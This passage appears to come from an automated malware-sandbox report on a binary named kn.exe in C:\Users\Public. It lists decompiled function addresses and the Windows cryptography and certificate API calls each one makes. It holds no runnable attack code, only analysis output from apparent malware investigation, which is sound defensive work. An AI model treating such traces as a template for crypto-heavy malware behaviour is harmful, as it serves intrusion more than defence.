            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB8F1C strcmp,LocalFree,strcmp,LocalFree,strcmp,LocalFree,strcmp,CryptDecodeObject,LocalFree,LocalFree,LocalFree,strcmp,strcmp,strcmp,strcmp,LocalFree,GetLastError,#357,GetLastError,GetLastError,7_2_00007FF6E3DB8F1C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20EF4 NCryptImportKey,#205,#359,#359,#357,7_2_00007FF6E3E20EF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E80ED0 LocalAlloc,LocalReAlloc,#357,#360,CryptFindOIDInfo,CryptFindOIDInfo,LocalAlloc,#357,memmove,_wcsnicmp,#256,#359,7_2_00007FF6E3E80ED0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56EA8 NCryptImportKey,#360,7_2_00007FF6E3E56EA8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF2E7C #223,GetLastError,#358,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,LocalFree,7_2_00007FF6E3DF2E7C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4EE94 CryptSignMessage,SetLastError,7_2_00007FF6E3E4EE94
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC0E94 GetLastError,#359,CryptGetProvParam,LocalFree,#357,LocalFree,CryptReleaseContext,7_2_00007FF6E3DC0E94
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22E6C CryptFindOIDInfo,#205,#357,#357,#357,#359,#359,#357,#357,#359,LocalFree,7_2_00007FF6E3E22E6C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E64E58 NCryptIsKeyHandle,#357,BCryptGenRandom,#360,LocalAlloc,CryptExportPKCS8,GetLastError,LocalAlloc,CryptExportPKCS8,GetLastError,NCryptIsKeyHandle,#359,#359,NCryptFinalizeKey,#360,7_2_00007FF6E3E64E58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56E48 NCryptSetProperty,#360,7_2_00007FF6E3E56E48
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB0E24 #357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,GetLastError,#357,#357,#357,GetLastError,GetLastError,GetLastError,CryptDecodeObject,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DB0E24
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E04DDC GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,7_2_00007FF6E3E04DDC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56DE0 NCryptCreatePersistedKey,#360,7_2_00007FF6E3E56DE0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E48DD0 CertGetCRLContextProperty,GetLastError,#357,memcmp,CertGetCRLContextProperty,GetLastError,#357,memcmp,CertFindExtension,GetLastError,memcmp,CryptHashCertificate,GetLastError,memcmp,CryptHashPublicKeyInfo,GetLastError,memcmp,LocalFree,7_2_00007FF6E3E48DD0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20DD4 NCryptGetProperty,#205,#359,#357,#359,#357,7_2_00007FF6E3E20DD4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E70DB8 CryptMsgGetParam,GetLastError,#357,#357,memset,CryptMsgGetParam,GetLastError,#357,7_2_00007FF6E3E70DB8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E52DAC #357,#357,CryptFindOIDInfo,LocalFree,7_2_00007FF6E3E52DAC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22D78 CryptEncrypt,#205,GetLastError,#357,#357,#357,#357,SetLastError,7_2_00007FF6E3E22D78
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56D78 NCryptOpenKey,#360,7_2_00007FF6E3E56D78
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20D84 NCryptFreeObject,#205,#357,7_2_00007FF6E3E20D84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE3504 CreateFileW,GetLastError,#357,GetFileSize,GetLastError,#357,SetFilePointer,GetLastError,#357,CertFreeCertificateContext,CertFreeCertificateContext,CryptDestroyKey,CryptReleaseContext,CloseHandle,7_2_00007FF6E3DE3504
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E234F8 CryptImportPublicKeyInfo,#205,GetLastError,#357,#357,SetLastError,7_2_00007FF6E3E234F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3B4EC CryptDecodeObjectEx,SetLastError,7_2_00007FF6E3E3B4EC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E514F0 GetEnvironmentVariableW,#205,#205,#203,CryptDestroyHash,CryptReleaseContext,CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptReleaseContext,GetLastError,#357,#357,#203,#357,#357,#357,#357,#203,LocalFree,#203,#357,#357,#207,#203,#203,LocalFree,#203,#203,CryptDestroyHash,CryptReleaseContext,7_2_00007FF6E3E514F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4F4A0 CryptHashPublicKeyInfo,SetLastError,7_2_00007FF6E3E4F4A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F488 #357,LocalAlloc,memmove,CryptDuplicateKey,GetLastError,CryptDecrypt,GetLastError,CryptDestroyKey,LocalFree,7_2_00007FF6E3E0F488
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E29480 memmove,BCryptDecrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,memmove,BCryptEncrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E29480
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3B464 CryptEncodeObjectEx,SetLastError,7_2_00007FF6E3E3B464
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D85438 memset,#246,#357,#357,GetLastError,#357,CertFindExtension,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,7_2_00007FF6E3D85438
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E2342C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5141C GetLastError,CryptDecodeObjectEx,GetLastError,#357,LocalFree,7_2_00007FF6E3E5141C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,7_2_00007FF6E3E0B3D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE13F0 CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptHashData,CryptHashData,GetLastError,CryptImportPublicKeyInfo,CryptVerifySignatureW,CertCreateCertificateContext,#357,LocalFree,GetLastError,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,7_2_00007FF6E3DE13F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E053E8 CryptEncodeObjectEx,GetLastError,#357,7_2_00007FF6E3E053E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E033A0 CryptVerifyCertificateSignature,CertCompareCertificateName,7_2_00007FF6E3E033A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E333B0 CertFindExtension,#357,CryptDecodeObject,GetLastError,#357,#357,7_2_00007FF6E3E333B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5739C CryptAcquireContextW,GetLastError,#360,#360,SetLastError,7_2_00007FF6E3E5739C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E593A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E593A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E23390 CryptGetUserKey,#205,GetLastError,#357,#357,SetLastError,7_2_00007FF6E3E23390
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAB36C GetLastError,CryptHashCertificate,GetLastError,CryptHashCertificate2,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#357,#357,#357,LocalFree,SysFreeString,7_2_00007FF6E3DAB36C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB7340 GetModuleHandleW,GetProcAddress,GetLastError,BCryptExportKey,#360,LocalAlloc,CryptHashCertificate2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalFree,7_2_00007FF6E3DB7340
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE5338 wcsrchr,#357,#357,LocalAlloc,memmove,wcsrchr,GetLastError,#360,#357,#357,LocalFree,LocalFree,LocalFree,CryptReleaseContext,7_2_00007FF6E3DE5338
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDB350 CryptFindLocalizedName,CertEnumPhysicalStore,GetLastError,#357,7_2_00007FF6E3DDB350
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBB324 CryptDecodeObject,GetLastError,#357,#357,LocalFree,7_2_00007FF6E3DBB324
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBD304 #357,CryptFindOIDInfo,#359,LocalAlloc,CryptEncodeObjectEx,GetLastError,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DBD304
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0D30C BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,7_2_00007FF6E3E0D30C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1F2F0 BCryptCreateHash,#205,#357,#357,#357,#357,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E1F2F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF92D8 CertEnumCertificatesInStore,CertGetCRLContextProperty,CertSetCTLContextProperty,GetLastError,#357,#357,CertEnumCertificatesInStore,CryptMsgControl,GetLastError,#357,CryptMsgGetAndVerifySigner,GetLastError,#357,CryptMsgGetAndVerifySigner,#357,CertFreeCertificateContext,CertGetCRLContextProperty,CertEnumCertificatesInStore,#357,#357,#207,LocalFree,#357,#357,CertFreeCertificateContext,CompareFileTime,CertFreeCertificateContext,7_2_00007FF6E3DF92D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE92C4 memset,CryptHashCertificate,GetLastError,CryptHashCertificate,GetLastError,GetLastError,GetLastError,#357,#254,LocalAlloc,wcsstr,LocalAlloc,LocalAlloc,#357,memmove,GetLastError,GetProcAddress,GetLastError,GetLastError,#359,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FreeLibrary,7_2_00007FF6E3DE92C4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E032D0 #359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,7_2_00007FF6E3E032D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E232A8 CryptGetProvParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,7_2_00007FF6E3E232A8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEB2B4 #357,CryptHashCertificate,GetLastError,#357,memcmp,#358,7_2_00007FF6E3DEB2B4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4D28C CryptFindOIDInfo,CryptEnumOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,#358,7_2_00007FF6E3E4D28C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57290 NCryptIsKeyHandle,#359,#360,#357,#358,7_2_00007FF6E3E57290
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBD240 #357,CryptFindOIDInfo,#357,LocalFree,7_2_00007FF6E3DBD240
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E79208 #357,NCryptEnumKeys,#360,#358,7_2_00007FF6E3E79208
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57214 NCryptIsKeyHandle,#357,CryptReleaseContext,GetLastError,7_2_00007FF6E3E57214
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E211C8 NCryptVerifySignature,#205,#357,#357,#357,#357,7_2_00007FF6E3E211C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E571C8 BCryptDestroyKey,#360,7_2_00007FF6E3E571C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E231C0 CryptGetKeyParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,7_2_00007FF6E3E231C0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF51A4 #360,#357,#359,#207,CryptFindOIDInfo,#357,GetLastError,#357,#207,#360,#254,#358,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DF51A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57178 BCryptCloseAlgorithmProvider,#360,7_2_00007FF6E3E57178
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E03188 CryptAcquireContextW,GetLastError,#359,#359,CryptAcquireContextW,GetLastError,7_2_00007FF6E3E03188
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E05164 GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,7_2_00007FF6E3E05164
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F168 CryptDuplicateKey,GetLastError,#357,CryptEncrypt,GetLastError,CryptEncrypt,GetLastError,CryptDestroyKey,7_2_00007FF6E3E0F168
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA3918 #357,#357,#357,#357,CertFindExtension,CryptDecodeObject,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DA3918
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4F918 CryptEncrypt,GetLastError,LocalFree,LocalAlloc,#357,LocalFree,7_2_00007FF6E3E4F918
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2391C CryptVerifySignatureW,#205,GetLastError,#357,#359,#357,SetLastError,7_2_00007FF6E3E2391C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D938FC RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,7_2_00007FF6E3D938FC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF18DC CertFindExtension,CryptDecodeObject,GetLastError,#357,7_2_00007FF6E3DF18DC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B8D0 I_CryptGetLruEntryData,#357,7_2_00007FF6E3E0B8D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E598B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,7_2_00007FF6E3E598B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB7884 GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,7_2_00007FF6E3DB7884
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF9878 strcmp,strcmp,strcmp,#357,#357,CompareFileTime,LocalFree,CryptMsgClose,CertCloseStore,CompareFileTime,#357,#357,7_2_00007FF6E3DF9878
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E23860 CryptSetProvParam,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E23860
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,7_2_00007FF6E3E1184C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0D850 #357,Sleep,BCryptCloseAlgorithmProvider,I_CryptFreeLruCache,7_2_00007FF6E3E0D850
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B808 I_CryptFindLruEntry,I_CryptGetLruEntryData,#357,I_CryptReleaseLruEntry,7_2_00007FF6E3E0B808
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBF810 #223,CryptDecodeObjectEx,GetLastError,CertFindAttribute,CertFindAttribute,GetLastError,#357,LocalFree,LocalFree,7_2_00007FF6E3DBF810
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4F7FC CryptExportKey,GetLastError,#357,LocalAlloc,CryptExportKey,GetLastError,LocalFree,7_2_00007FF6E3E4F7FC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E397E4 LoadCursorW,SetCursor,#210,LoadCursorW,SetCursor,#357,EnableWindow,SetWindowLongPtrW,SetWindowLongPtrW,SetWindowLongPtrW,GetDlgItem,SetWindowTextW,GetDlgItem,ShowWindow,CryptUIDlgFreeCAContext,LocalFree,7_2_00007FF6E3E397E4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC17D4 #357,#359,#357,NCryptFinalizeKey,#360,#359,#359,#357,NCryptDeleteKey,#360,#359,#359,#359,LocalFree,LocalFree,7_2_00007FF6E3DC17D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E237A4 CryptSetKeyParam,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E237A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF577C #360,#358,CryptDecodeObject,GetLastError,#357,7_2_00007FF6E3DF577C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3B794 CryptExportPublicKeyInfoEx,SetLastError,7_2_00007FF6E3E3B794
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBD790 SslEnumProtocolProviders,#357,SslOpenProvider,SslFreeBuffer,SslFreeObject,SslFreeBuffer,#359,LocalAlloc,BCryptGetProperty,CryptFindOIDInfo,BCryptDestroyKey,BCryptDestroyKey,LocalFree,7_2_00007FF6E3DBD790
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9B788 #140,iswdigit,CryptDecodeObject,GetLastError,#357,#357,#224,7_2_00007FF6E3D9B788
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E25768 NCryptIsKeyHandle,??_V@YAXPEAX@Z,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E25768
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEF774 CertFindExtension,#357,CryptVerifyCertificateSignature,GetLastError,GetLastError,memmove,LocalFree,7_2_00007FF6E3DEF774
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4D750 LocalAlloc,CryptFormatObject,GetLastError,#358,#358,LocalFree,#357,7_2_00007FF6E3E4D750
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E236E8 CryptSetHashParam,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E236E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0F6D8 #357,CryptDuplicateKey,GetLastError,CryptEncrypt,GetLastError,LocalAlloc,memmove,CryptEncrypt,GetLastError,LocalAlloc,CryptDestroyKey,LocalFree,7_2_00007FF6E3E0F6D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD76B0 #359,CryptAcquireCertificatePrivateKey,GetLastError,#357,#358,#359,#358,#358,LocalFree,LocalFree,#357,CryptFindCertificateKeyProvInfo,GetLastError,#357,LocalFree,LocalFree,CryptReleaseContext,7_2_00007FF6E3DD76B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3D6A0 CertOpenStore,GetLastError,#357,CryptMsgOpenToDecode,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,#357,LocalFree,LocalAlloc,#357,memmove,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgClose,CertCloseStore,LocalFree,LocalFree,7_2_00007FF6E3E3D6A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E49688 CryptFindOIDInfo,#357,#360,#360,#360,7_2_00007FF6E3E49688
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAD660 GetDesktopWindow,LocalFree,#357,CertDuplicateCertificateContext,GetLastError,#357,#357,#357,#357,#357,#207,LocalFree,#358,#357,#358,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,7_2_00007FF6E3DAD660
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D95664 #256,#357,CryptHashCertificate2,GetLastError,#254,#254,#357,#207,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,#359,7_2_00007FF6E3D95664
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF366C CryptVerifyCertificateSignature,GetLastError,CryptVerifyCertificateSignatureEx,GetLastError,#357,7_2_00007FF6E3DF366C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0B664 I_CryptFindLruEntry,I_CryptGetLruEntryData,I_CryptReleaseLruEntry,7_2_00007FF6E3E0B664
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4F650 CryptHashCertificate2,SetLastError,7_2_00007FF6E3E4F650
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E23654 CryptReleaseContext,#205,GetLastError,#357,#357,SetLastError,7_2_00007FF6E3E23654
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1F644 NCryptDeleteKey,#205,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E1F644
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAF630 CryptAcquireContextW,GetLastError,#357,SetLastError,7_2_00007FF6E3DAF630
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E095FC BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,CertGetCRLContextProperty,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,BCryptCloseAlgorithmProvider,7_2_00007FF6E3E095FC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE55F0 #357,#360,GetLastError,#360,#359,NCryptDeleteKey,#360,#357,LocalFree,LocalFree,7_2_00007FF6E3DE55F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAD5C2 CertCloseStore,CryptMsgClose,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DAD5C2
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E23590 CryptImportPublicKeyInfoEx2,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E23590
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E59580 memset,#357,CryptCreateHash,GetLastError,#357,CryptGenRandom,GetLastError,CryptHashData,GetLastError,CryptSignHashW,GetLastError,LocalAlloc,CryptSignHashW,GetLastError,CryptImportPublicKeyInfo,GetLastError,CryptVerifySignatureW,GetLastError,#357,CryptDestroyHash,CryptDestroyKey,LocalFree,CryptReleaseContext,7_2_00007FF6E3E59580
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEB55C CertFreeCertificateContext,CertCreateCertificateContext,GetLastError,CertDuplicateCertificateContext,#357,#358,CertCompareCertificateName,CryptVerifyCertificateSignatureEx,GetLastError,#357,#357,CertFreeCertificateContext,CertVerifyTimeValidity,#357,7_2_00007FF6E3DEB55C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4F570 CryptHashCertificate,SetLastError,7_2_00007FF6E3E4F570
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4FD2C CryptDecryptMessage,GetLastError,#357,7_2_00007FF6E3E4FD2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E3DD1C #357,strcmp,GetLastError,CryptHashCertificate,GetLastError,LocalAlloc,memmove,LocalFree,7_2_00007FF6E3E3DD1C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E15CE8 #357,CertOpenStore,GetLastError,CertFindCertificateInStore,GetLastError,#359,LocalFree,CertFreeCertificateContext,CertCloseStore,CryptVerifyCertificateSignature,GetLastError,#357,7_2_00007FF6E3E15CE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E11C84 GetLastError,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,#357,LocalFree,7_2_00007FF6E3E11C84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD3C60 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,CryptExportPublicKeyInfo,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertCreateCertificateContext,GetLastError,#357,#357,CertComparePublicKeyInfo,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalAlloc,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,CertSetCTLContextProperty,GetLastError,#357,#357,#358,#358,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3DD3C60
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E85C54 CryptDecodeObjectEx,CryptDecodeObjectEx,7_2_00007FF6E3E85C54
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC1C50 BCryptQueryProviderRegistration,#360,#357,BCryptFreeBuffer,7_2_00007FF6E3DC1C50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBFC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,7_2_00007FF6E3DBFC20
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDFC34 memset,#357,CryptDecodeObject,GetLastError,LocalAlloc,#357,memmove,memset,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DDFC34
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E23BEB _CxxThrowException,_CxxThrowException,_CxxThrowException,CryptExportKey,#205,GetLastError,#357,#357,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E23BEB
